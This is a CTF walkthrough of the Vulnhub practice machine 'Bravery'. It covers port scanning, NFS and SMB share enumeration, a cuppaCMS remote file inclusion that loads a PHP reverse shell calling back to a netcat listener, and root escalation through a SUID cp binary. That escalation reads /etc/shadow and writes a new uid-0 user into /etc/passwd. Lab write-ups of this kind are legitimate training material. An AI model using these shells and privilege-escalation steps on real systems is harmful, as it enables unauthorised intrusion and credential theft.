Monday, 26 April 2021

Vulnhub Writeup: Bravery

Vulnhub - Bravery

Vulnhub Writeup - Bravery



This machine hopes to inspire BRAVERY in you; this machine may surprise you from the outside. This is designed for OSCP practice, and the original version of the machine was used for a CTF. It is now revived, and made more nefarious than the original.

If you MUST have hints for this machine (even though they will probably not help you very much until you root the box!): Bravery is (#1): a positive trait in people, (#2): another way of saying “try harder”, (#3):

Note: There may be more than one method to obtain root privileges on this machine. Look around you!

Feel free to contact the author at if you would like to drop a comment.

You can download the box from vulnhub here.

Initial Scans

nmap -sn

Server is up on IP

sudo autorecon

Open Ports

22/tcp    open  ssh         syn-ack ttl 64 OpenSSH 7.4 (protocol 2.0)
53/tcp    open  domain      syn-ack ttl 64 dnsmasq 2.76
139/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp   open  ssl/http    syn-ack ttl 64 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/
445/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 4.7.1 (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     syn-ack ttl 64 3 (RPC #100227)
3306/tcp  open  mysql       syn-ack ttl 64 MariaDB (unauthorized)
8080/tcp  open  http        syn-ack ttl 64 nginx 1.12.2
20048/tcp open  mountd      syn-ack ttl 64 1-3 (RPC #100005)
43670/tcp open  nlockmgr    syn-ack ttl 64 1-4 (RPC #100021)
49743/tcp open  status      syn-ack ttl 64 1 (RPC #100024)

Initial thoughts

  • 22/ssh open
  • 80/http open
    • nothing much from initial gobuster scan
    • some files / usernames in /uploads/
  • 111/rpc open
    • appears to be a bunch of files readable on /var/nfsshare
  • 139/SMB
    • Users: david, rick
    • NETBIOS Hostname: BRAVERY
    • several shares, ipc, anonymous, secured
    • anonymous share readable
  • 443/HTTPS
    • localhost.localdomain cert name
    • similar (or same) structure to HTTP from gobuster initial
  • 2049/NFS
  • 3306/MySQL
  • 8080/HTTP
    • robots.txt
    • /about gives a file download
    • /public has a website
    • /private is 403
  • some high RPC ports

file from /about:

********** ABOUT US *********

* We are a fun-loving group *
  that takes our work quite
* seriously. In our line of *
  work, we believe that the 
* most important quality of *
  our work is our effort to 
  takes courage. We believe 
* we can strive for greater *
  heights, and achieve good
* things as long as we dare *
  to TRY HARDER. Are you up 
* to our challenge? I think *
  you should TRY HARDER! :) 
*                           *



find nfs shares

showmount -e


mounting the share

sudo mount -t nfs /tmp/nfsshare

nfs files

the itinerary/david file contains various information about David’s schedule. May be useful later as a wordlist?


finding smb shares

smbmap -u '' -p '' -H

mounting the share

sudo mount -t cifs // /tmp/anonymous

smb files

lots of files in here are zero length, this is to cleanup

cp -r * ~/htb/bravery/files/anonymous
cd ~/htb/bravery/files/anonymous
find ./ -type f -size 0 -delete
find ./ -type d -empty -delete


need to migrate CMS. obsolete. speak to qiu about temporarily using her IIS to test a sharepoint installation.

Website and Initial Foothold


gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u

gobuster webroot

The website has some browsable directories at /uploads.

a clue on the website at

Remind gen to set up my cuppaCMS account.

Clicking around on the genevieve homepage leads to cuppaCMS

cuppacms link

searchsploit has an RFI (Remote File Inclusion) at…/…/…/…/…/…/…/…/…/…/etc/passwd


Call back to my local server working at


With this RFI we can host a php simple reverse shell file locally and get the webserver to read and execute it. Save the following code in catch.php

    echo "This is a test";

    if (isset($_REQUEST['faltshell'])) {
        $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

Then on the attacker machine run up a simple webserver

python -m SimpleHTTPServer

Set up a netcat listener

nc -lvnp 1998

Then launch the RFI on the webserver

basic shell

Privesc to root

One of the first things I try on a box once I have shell is to check for any non standard SUID/SGID binaries. On this box the cp binary is set with the SUID bit!

commands to check for SUID/SGID

find / -perm -4000 -type f 2>/dev/null | xargs ls -la
find / -perm -2000 -type f 2>/dev/null | xargs ls -la

We can essentially read and write any file as root

read file

/usr/bin/cp /etc/shadow /dev/stdout

Being able to write to /etc/passwd means we can create a new root level user with a known password

cat /etc/passwd > /tmp/passwd

Use openssl to generate a password hash

openssl passwd -1 -salt salt pass123 

insert the new root level user and password hash into the copied passwd file, then overwrite the main file.

echo 'newuser:$1$salt$wYA1OLWmuL0.PdCmjvhHV0:0:0:newuser:/root:/bin/bash' >> /tmp/passwd
/usr/bin/cp /tmp/temppasswd /etc/passwd

creating the user

In order to use the su command and be able to type a password, we need a propper tty. The following will mess up your console while typing, but keep going, it gets better!

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

Press CTRL+Z

stty size
stty raw -echo

stty rows XX cols XX

Now the shell should look more normal. su should now work.

su to the new user account and enter pass123 as the password.

su newuser

Enter the password created and the box is done!


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